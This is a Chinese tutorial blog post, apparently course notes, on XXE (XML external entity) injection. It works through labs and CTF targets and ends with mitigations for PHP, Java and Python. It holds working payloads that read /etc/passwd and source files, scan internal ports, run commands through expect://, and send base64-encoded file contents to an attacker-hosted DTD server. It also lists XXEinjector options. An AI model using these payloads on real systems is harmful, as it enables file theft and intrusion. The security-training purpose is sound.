【小迪安全】Day39web漏洞-XXE&XML之利用检测绕过全解
沙漠里的鲸
2021年12月14日 00:20
收录于文集
共92篇

【小迪安全】Day39web漏洞-XXE&XML之利用检测绕过全解

XML原理分析

1.XML和XXE区别

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明DTD 文档类型定义(可选)文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。

XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

 

2.XML和HTML的区别

XML 与 HTML 的主要差异:XML 被设计为传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。HTML 旨在显示信息 ,而 XML 旨在传输信息。

<!--XML 声明-->

<?xml version="1.0&#​34;?>

<!--文档类型定义-->

<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->

<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->

<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->

<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->

<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->

<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->

]]]>

<!--文档元素-->

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

 

3.DTD文档类型定义

(DTD)可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

(1)内部的 DOCTYPE 声明

<!DOCTYPE 根元素 [元素声明]>

(2)外部文档声明

<!DOCTYPE 根元素 SYSTEM ”文件名”>

 

4.DTD 实体

(1)内部实体声明

<!ENTITY 实体名称 ”实体的值”>

(2)外部实体声明

<!ENTITY 实体名称 SYSTEM ”URI”>

(3)参数实体声明

<!ENTITY %实体名称 ”实体的值”>

<!ENTITY %实体名称 SYSTEM ”URI”>

pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入

1.  各种协议的脚本适用环境

2.  进入靶场

#读取文件

---用file伪协议读取c盘的1.txt文件,当然这里的伪协议是隐藏在XML的文档实体中

---这种是有回显的类型的漏洞

<?xml version = "1.0&#​34;?>//xml的声明

<!DOCTYPE ANY [//文档的类型定义:这里是所有的格式都可以

<!ENTITY xxe SYSTEM "file:///c://1.txt&#​34;>

]>//文档的实体,xxe为实体里面的变量,下面就执行这个变量

<x>&xxe;</x>

#玩法-内网探针或攻击内网应用(触发漏洞地址)

---这里是探针内网端口对应的网站(相当于进行了端口扫描)

<?xml version="1.0&#​34; encoding="UTF-8&#​34;?>//XML声明

<!DOCTYPE foo [//文档声明

<!ELEMENT foo ANY >//文档的类型

<!ENTITY rabbit SYSTEM "http:// 192.168.102.143:8888/1.txt" >

]>//文档的实体

<x>&rabbit;</x>

---如果地址不对,就显示的这个界面

#玩法-RCE(该 CASE 是在安装 expect 扩展PHP 环境里执行系统命令)

--- RCE是远程命令执行漏洞

<?xml version = "1.0&#​34;?>

<!DOCTYPE ANY [

<!ENTITY xxe SYSTEM "expect://id" >

]>

<x>&xxe;</x>

 

#引入外部实体 dtd

---访问本地的evil2.dtd文件(这个是XML的格式文件,访问该文件就会以XML格式执行)

---在evil2.dtd文件中,写入XML的伪协议代码:访问本地D盘的test.txt文件

---条件:在对方代码有没有禁止外部实体

<?xml version="1.0&#​34; ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://127.0.0.1:8888/evil2.dtd">

%file;

]>

<x>&send;</x>

---其中evil2.dtd文件内容:

<!ENTITY send SYSTEM "file:///c:/test.txt&#​34;>

---把evil2.dtd文件放到靶场的端口根目录

---执行包含伪协议的XML(类似于文件包含中:远程包含的原理)

---目的:绕过拦截软件

#源代码分析

---simplexml_load_string()函数转换形式良好XML 字符串为 SimpleXMLElement 对象。对象的属性包含 XML 文档中的数据。如果失败,则返回 false。

---如果对象存在(传输的数据正确),就赋值给HTML,反之打印输出错误

#无回显-读取文件

---注释掉回显

---再次执行之前的payload(正确的payload才会无回显,错误的有)

---第一步:读取test.txt文件的内容(端口根目录),然后base64加密赋值给变量file

---第二步:访问自己本地的test.dtd文件(貌似这里也可以说内网的其它电脑,我猜测是本地,应为要自己伪造test.dtd文件才行),以XML格式执行本地的test.dtd文件

 

<?xml version="1.0&#​34;?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.txt">

<!ENTITY % dtd SYSTEM "http://192.168.102.143:8888/test.dtd">

%dtd;

%send;

]>

 

---第三步:将本地test.txt文件的加密内容赋值给data变量。然后再通过日志的读取或者文件的接受变量来获取靶场的1.txt的文件的内容

 

---其中test.dtd文件内容:

<!ENTITY % payload

"<!ENTITY &#​x25; send SYSTEM 'http:// 192.168.102.143:8888/?data=%file;'>&#​34;

> 

%payload;

---先查看本机的日志Apache/logs/access(发现我这里没有开启)

---修改配置文件为下图,重启Apache

---发现日志更新

---将构造的test.dtd放在本地8888端口根目录

---在靶场输入payload(发现没有回显,说明payload执行成功)

---本地端口的日志查看(接受到了,但是看不到内容啊,说明我的test.dtd文件没有被执行)

---打开查看,发现多了个空格

---修改后再次尝试(还是不行,我猜测是日志设置的时候没有设置可以看见穿见传输的内容)

---开启通用日志功能

---再次尝试(还是不行,猜测test.dtd可能路径没放对,也有可能是靶机的文件读取有问题)

---将回显打开,发现报错了

---我错了,这里文件读取的路径不是端口根目录应该是脚本执行的目录

---再次执行,解密

#如果HTTP被过滤,则可以通过其它协议进行绕过

---PHP伪协议执行的要求貌似还比较高

---entity,system,file等关键字过滤,可以使用编码方式绕过

<?xml version = "1.0&#​34;?>

<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>

<x>&f;</x>

#如何判断是什么过滤

---构造各种payload进行尝试(网上有字典,构造脚本去跑就行)

xxe-lab 靶场登陆框 xml 数据传输测试-检测发现

1.  进入靶场

#抓包分析

#爬虫(2020版的没有spider)

---在请求数据包里面搜索关键字XML(发现一个)

---发现post传输的数据为XML格式

2.  结合post传输构造payload语句

---XML声明

<?xml version="1.0&#​34;?>

---文档类型定义

<!DOCTYPE Mikasa [

---文档的实体(可以直接,也可以远程)

<!ENTITY test SYSTEM "file:///d:/test.txt&#​34;>

]>

---文档元素

<user><username>&test;</username><password>Mikasa</password></user

#这里是读取C盘的1.txt文件

---读取成功

CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战

1.  进入靶场

2.  对同网段的相似ip进行扫描

---本机ip

---nmap扫描同网段(参数-sS

---141只有80端口

---254没有端口

---尝试访问141的80端口(应该就是靶场)

---用铸剑扫描网站的目录

---访问robots.txt文件

---这里显示了允许爬取的网站和不允许爬取的网站

---相当于获得了网站的文件路径

---访问xxe路径(发现一个登录界面)

---抓包分析(发现post提交的数据为XML格式,虽然content-type没有显示为XML格式)

3.  构造payload进行攻击

---这里是在当前xxe路径下读取admin.php文件

---构造了sp变量

<?xml version="1.0&#​34; ?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">

]>

<root><name>&sp;</name><password>hj</password></root>

---返回获取到admin.php的内容

---发送到decode解密

---在解密文件内发现用户名和密码

---可能存在flag的文件名:/flagmeout.php

---MD5解密密码

---尝试登录(发现登录失败,而且就算登录成功除非有上传文件,不然也获取不到靶场登录的密码)

---读取/flagmeout.php文件

---将flag解密(base32解码)

---再进行base64解密

---读取/etc/.flag.php文件

---base64解密成这东西(这个是PHP代码)(注意要以txt格式显示)

---PHP在线运行代码

---emmmm运行后全是警告,没有结果

4.  总结

---扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解密->php 运行->flag

---xxe产生根本原因:网站接受XML传输,却没有对外部实体进行过滤

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

1.  理论分析(网站访问不了了)

---打开网站:发现是一个用户输入的窗口,输入数据,点击提交然后抓包分析

---发现post传输的数据是以字典的形式,{“serach”:”type sth”,”value”:”own”}

---文件类型:content-type:application /json(以json格式post数据)

2.  判断靶机操作系统

---大小写判断

---数据包判断

---nmap扫描

---ttl值判断

3.  更改content-type值查看返回(盲猜)

---将文件类型修改为:content-type:application /XML

---将post的数据修改为XML格式:

---读取Linux系统下的passwd

<?xml version = "1.0&#​34;?>//xml声明

<!DOCTYPE ANY [//文档类型定义

<!ENTITY f SYSTEM "file:///etc/passwd&#​34;>

]>//文档的实体,定义变量f

<x>&f;</x>//文档元素

xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

1.  使用Ruby启动工具

2.  常见的参数

--host    必填项– 用于建立反向链接的IP地址。(host=192.168.0.2)

--file    必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)

--path    必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)

--brute  必填项-是否需要爆破文件 -爆破文件的路径(brute=/tmp/brute.txt)

--logger      记录输出结果。

--rhost        远程主机IP或域名地址。(--rhost=192.168.0.3)

--rport        远程主机的TCP端口信息。(--rport=8080)

--phpfilter    在发送消息之前使用PHP过滤器对目标文件进行Base64编码

--netdoc        使用netdoc协议。(Java).

--enumports   枚举用于反向链接的未过滤端口(enumports=21,22,80,443,445)

--hashes       窃取运行当前应用程序用户的Windows哈希

--expect        使用PHP expect扩展执行任意系统命令。(--expect=ls)

--upload       使用Java jar向临时目录上传文件。(upload=/tmp/upload.txt)

--xslt      XSLT注入测试。

--ssl              使用SSL。

--proxy         使用代理。(--proxy=127.0.0.1:8080)

--httpport Set自定义HTTP端口。(--httpport=80)

--ftpport       设置自定义FTP端口。(--ftpport=21)

--gopherport  设置自定义gopher端口。(--gopherport=70)

--jarport       设置自定义文件上传端口。(--jarport=1337)

--xsltport  设置自定义用于XSLT注入测试的端口。(--xsltport=1337)

--test     该模式可用于测试请求的有效。

--urlencode     URL编码,默认为URI。

--output       爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)

--timeout     设置接收文件/目录内容的Timeout。(--timeout=20)

--contimeout  设置与服务器断开连接的,防止DoS出现。(--contimeout=20)

--fast     跳过枚举询问,有可能出现结果假阳性。

--verbose     显示verbose信息。

xxe 漏洞修复与防御方案-php,java,python-过滤及禁用

1.方案 1-禁用外部实体

---PHP:

libxml_disable_entity_loader(true);

---JAVA:

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

---Python

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

2.方案 2-过滤用户提交的 XML 数据

过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC(这里可以用加密绕过)

 

3.方案3装WAF产品